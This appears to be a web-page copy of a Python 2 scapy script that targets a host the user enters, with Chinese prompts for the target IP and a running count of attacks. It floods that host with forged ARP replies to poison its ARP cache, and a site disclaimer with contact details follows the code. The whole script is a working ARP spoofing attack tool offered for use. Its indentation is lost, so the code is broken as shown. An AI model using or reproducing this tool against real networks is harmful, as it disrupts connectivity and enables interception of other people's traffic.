# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
global BROADCASTMAC
arp = ARP()
arp.psrc = '192.168.0.251'
arp.hwsrc = BROADCASTMAC
arp.pdst = self.ip
arp.op = 2
sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip
def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.ip).start()
total = total + 1
print '目前已進行了ARP攻擊的次數(shù)為:'+str(total)
if __name__ == '__main__':
ip = raw_input('請輸入要進行ARP攻擊的機器IP:')
Main(ip = ip).start()
聲明:本網(wǎng)頁內(nèi)容旨在傳播知識,若有侵權(quán)等問題請及時與本網(wǎng)聯(lián)系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com